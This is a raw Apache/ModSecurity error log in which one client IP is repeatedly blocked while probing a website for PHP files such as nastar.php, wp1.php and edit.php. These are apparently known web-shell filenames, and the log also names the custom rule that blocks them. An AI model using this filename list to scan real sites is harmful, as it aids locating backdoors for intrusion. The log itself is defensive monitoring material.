[Fri Apr 24 01:50:40.070114 2026] [:error] [pid 65000:tid 65031] [client 74.248.129.192:64873] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aepb8L6vRb9j6psK2ZZ7mAAAAgI"]
[Fri Apr 24 01:50:40.619209 2026] [:error] [pid 65000:tid 65052] [client 74.248.129.192:9621] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "aepb8L6vRb9j6psK2ZZ7ngAAAhM"]
[Fri Apr 24 01:50:41.137122 2026] [:error] [pid 64998:tid 65022] [client 74.248.129.192:65216] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aepb8YV5EysYcTLjmwgzsAAAAdQ"]
[Fri Apr 24 01:50:41.659989 2026] [:error] [pid 46953:tid 46961] [client 74.248.129.192:64929] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aepb8UnlpdHh-P6wKbp5yQAAAkU"]
[Fri Apr 24 01:50:42.177783 2026] [:error] [pid 59700:tid 59723] [client 74.248.129.192:64853] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aepb8pXyGZJFeAIDWtl3SgAAAVU"]
[Fri Apr 24 01:50:42.692123 2026] [:error] [pid 59700:tid 59724] [client 74.248.129.192:38023] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aepb8pXyGZJFeAIDWtl3SwAAAVY"]
[Fri Apr 24 01:50:43.212408 2026] [:error] [pid 64967:tid 64972] [client 74.248.129.192:38061] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "aepb84AV4GfOOdX8QzqZBgAAAYM"]
[Fri Apr 24 01:50:43.736042 2026] [:error] [pid 43083:tid 43088] [client 74.248.129.192:65240] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "aepb8zC5hrvNXosL83KtawAAAMM"]
[Fri Apr 24 01:50:44.259337 2026] [:error] [pid 42973:tid 43063] [client 74.248.129.192:65323] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "aepb9G6I0QqmmmLTHE2DuAAAAJQ"]
[Fri Apr 24 01:50:44.772100 2026] [:error] [pid 42973:tid 43057] [client 74.248.129.192:64382] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "aepb9G6I0QqmmmLTHE2DugAAAI4"]
[Fri Apr 24 01:50:45.287013 2026] [:error] [pid 42972:tid 43025] [client 74.248.129.192:65241] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aepb9cOAb-3sOknsk4fDNgAAAEk"]
[Fri Apr 24 01:50:45.837675 2026] [:error] [pid 42971:tid 43009] [client 74.248.129.192:65260] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aepb9TEP2_5RswrH8bFQ5gAAABc"]
[Fri Apr 24 01:50:46.387090 2026] [:error] [pid 42972:tid 43036] [client 74.248.129.192:65316] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aepb9sOAb-3sOknsk4fDPAAAAFQ"]
[Fri Apr 24 01:50:46.950337 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:64324] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "aepb9r6vRb9j6psK2ZZ7uQAAAhY"]
[Fri Apr 24 01:50:47.529595 2026] [:error] [pid 42973:tid 43050] [client 74.248.129.192:38021] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aepb926I0QqmmmLTHE2DwgAAAIc"]
[Fri Apr 24 01:50:48.070632 2026] [:error] [pid 43083:tid 43101] [client 74.248.129.192:64397] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aepb-DC5hrvNXosL83KtbwAAANA"]
[Fri Apr 24 01:50:48.599962 2026] [:error] [pid 64998:tid 65012] [client 74.248.129.192:65217] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aepb-IV5EysYcTLjmwgzuQAAAco"]
[Fri Apr 24 01:50:49.138557 2026] [:error] [pid 64998:tid 65013] [client 74.248.129.192:65308] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "aepb-YV5EysYcTLjmwgzvQAAAcs"]
[Fri Apr 24 01:50:49.661367 2026] [:error] [pid 64998:tid 65005] [client 74.248.129.192:65296] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aepb-YV5EysYcTLjmwgzwAAAAcM"]
[Fri Apr 24 01:50:50.254156 2026] [:error] [pid 42973:tid 43047] [client 74.248.129.192:18807] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aepb-m6I0QqmmmLTHE2DxQAAAIQ"]
[Fri Apr 24 01:50:50.812946 2026] [:error] [pid 46953:tid 46976] [client 74.248.129.192:65249] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aepb-knlpdHh-P6wKbp51AAAAlQ"]
[Fri Apr 24 01:50:51.361610 2026] [:error] [pid 59700:tid 59715] [client 74.248.129.192:64903] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1.php"] [unique_id "aepb-5XyGZJFeAIDWtl3TQAAAU0"]
[Fri Apr 24 01:50:51.918511 2026] [:error] [pid 46953:tid 46973] [client 74.248.129.192:65220] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aepb-0nlpdHh-P6wKbp51wAAAlE"]
[Fri Apr 24 01:50:52.436640 2026] [:error] [pid 65000:tid 65042] [client 74.248.129.192:9616] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aepb_L6vRb9j6psK2ZZ7ywAAAgk"]
[Fri Apr 24 01:50:52.975891 2026] [:error] [pid 59700:tid 59713] [client 74.248.129.192:38040] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aepb_JXyGZJFeAIDWtl3TwAAAUs"]
[Fri Apr 24 01:50:53.514700 2026] [:error] [pid 65000:tid 65043] [client 74.248.129.192:64892] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "aepb_b6vRb9j6psK2ZZ70wAAAgo"]
[Fri Apr 24 01:50:54.093016 2026] [:error] [pid 59700:tid 59718] [client 74.248.129.192:18802] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aepb_pXyGZJFeAIDWtl3UQAAAVA"]
[Fri Apr 24 01:50:54.652737 2026] [:error] [pid 65000:tid 65029] [client 74.248.129.192:64327] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aepb_r6vRb9j6psK2ZZ73gAAAgA"]
[Fri Apr 24 01:50:55.205694 2026] [:error] [pid 65000:tid 65054] [client 74.248.129.192:9637] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aepb_76vRb9j6psK2ZZ74gAAAhU"]
[Fri Apr 24 01:50:55.760111 2026] [:error] [pid 59700:tid 59708] [client 74.248.129.192:64893] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "aepb_5XyGZJFeAIDWtl3VAAAAUY"]
[Fri Apr 24 01:50:56.326605 2026] [:error] [pid 64998:tid 65023] [client 74.248.129.192:65310] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aepcAIV5EysYcTLjmwgzzAAAAdU"]
[Fri Apr 24 01:50:56.866059 2026] [:error] [pid 64998:tid 65009] [client 74.248.129.192:65337] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aepcAIV5EysYcTLjmwgzzwAAAcc"]
[Fri Apr 24 01:50:57.414126 2026] [:error] [pid 65000:tid 65039] [client 74.248.129.192:18770] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aepcAb6vRb9j6psK2ZZ77gAAAgY"]
[Fri Apr 24 01:50:57.937322 2026] [:error] [pid 64998:tid 65022] [client 74.248.129.192:9607] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aepcAYV5EysYcTLjmwgz0AAAAdQ"]
[Fri Apr 24 01:50:58.451809 2026] [:error] [pid 42972:tid 43037] [client 74.248.129.192:64419] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aepcAsOAb-3sOknsk4fDQAAAAFU"]
[Fri Apr 24 01:50:58.967589 2026] [:error] [pid 65000:tid 65050] [client 74.248.129.192:64939] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aepcAr6vRb9j6psK2ZZ7-QAAAhE"]
[Fri Apr 24 01:50:59.516141 2026] [:error] [pid 65000:tid 65042] [client 74.248.129.192:65326] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aepcA76vRb9j6psK2ZZ7_AAAAgk"]
[Fri Apr 24 01:51:00.090772 2026] [:error] [pid 42972:tid 43017] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/ass.php
[Fri Apr 24 01:51:00.374607 2026] [:error] [pid 42972:tid 43036] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri Apr 24 01:51:00.658242 2026] [:error] [pid 42972:tid 43032] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/no18.php
[Fri Apr 24 01:51:00.943502 2026] [:error] [pid 42972:tid 43040] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/fine.php
[Fri Apr 24 01:51:01.230964 2026] [:error] [pid 42972:tid 43018] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Fri Apr 24 01:51:01.514425 2026] [:error] [pid 42972:tid 43035] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/xa.php
[Fri Apr 24 01:51:01.810602 2026] [:error] [pid 42972:tid 43030] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri Apr 24 01:51:02.095114 2026] [:error] [pid 42972:tid 43024] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/inege.php
[Fri Apr 24 01:51:02.380082 2026] [:error] [pid 42972:tid 43033] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/fe5.php
[Fri Apr 24 01:51:02.682695 2026] [:error] [pid 42972:tid 43038] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/uuu.php
[Fri Apr 24 01:51:02.966416 2026] [:error] [pid 42972:tid 43023] [client 74.248.129.192:64432] File does not exist: /usr/local/apache/htdocs/suspended-page/no1.php
[Fri Apr 24 01:51:03.247858 2026] [:error] [pid 42972:tid 43022] [client 74.248.129.192:64432] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aepcB8OAb-3sOknsk4fDUgAAAEY"]
[Fri Apr 24 01:51:03.788729 2026] [:error] [pid 42972:tid 43029] [client 74.248.129.192:64913] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aepcB8OAb-3sOknsk4fDVgAAAE0"]
[Fri Apr 24 01:51:04.332922 2026] [:error] [pid 64998:tid 65006] [client 74.248.129.192:64953] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aepcCIV5EysYcTLjmwgz3wAAAcQ"]
[Fri Apr 24 01:51:04.902497 2026] [:error] [pid 42973:tid 43058] [client 74.248.129.192:65238] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aepcCG6I0QqmmmLTHE2D2QAAAI8"]
[Fri Apr 24 01:51:05.464799 2026] [:error] [pid 65000:tid 65050] [client 74.248.129.192:63826] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aepcCb6vRb9j6psK2ZZ8DwAAAhE"]
[Fri Apr 24 01:51:06.007092 2026] [:error] [pid 64998:tid 65024] [client 74.248.129.192:38079] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aepcCoV5EysYcTLjmwgz5AAAAdY"]
[Fri Apr 24 01:51:06.549683 2026] [:error] [pid 42973:tid 43064] [client 74.248.129.192:65312] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aepcCm6I0QqmmmLTHE2D3AAAAJU"]
[Fri Apr 24 01:51:07.129025 2026] [:error] [pid 42972:tid 43034] [client 74.248.129.192:64837] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aepcC8OAb-3sOknsk4fDXQAAAFI"]
[Fri Apr 24 01:51:07.676563 2026] [:error] [pid 64998:tid 65026] [client 74.248.129.192:65327] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aepcC4V5EysYcTLjmwgz7QAAAdg"]
[Fri Apr 24 01:51:08.192786 2026] [:error] [pid 65000:tid 65043] [client 74.248.129.192:65273] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aepcDL6vRb9j6psK2ZZ8GgAAAgo"]
[Fri Apr 24 01:51:08.709201 2026] [:error] [pid 46953:tid 46973] [client 74.248.129.192:64401] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aepcDEnlpdHh-P6wKbp56QAAAlE"]
[Fri Apr 24 01:51:09.258879 2026] [:error] [pid 43083:tid 43108] [client 74.248.129.192:18773] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aepcDTC5hrvNXosL83KtdgAAANc"]
[Fri Apr 24 01:51:09.853619 2026] [:error] [pid 59700:tid 59717] [client 74.248.129.192:64340] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aepcDZXyGZJFeAIDWtl3WgAAAU8"]
[Fri Apr 24 01:51:10.408990 2026] [:error] [pid 64998:tid 65002] [client 74.248.129.192:9633] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aepcDoV5EysYcTLjmwgz8AAAAcA"]
[Fri Apr 24 01:51:10.924444 2026] [:error] [pid 64998:tid 65021] [client 74.248.129.192:64857] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aepcDoV5EysYcTLjmwgz9gAAAdM"]
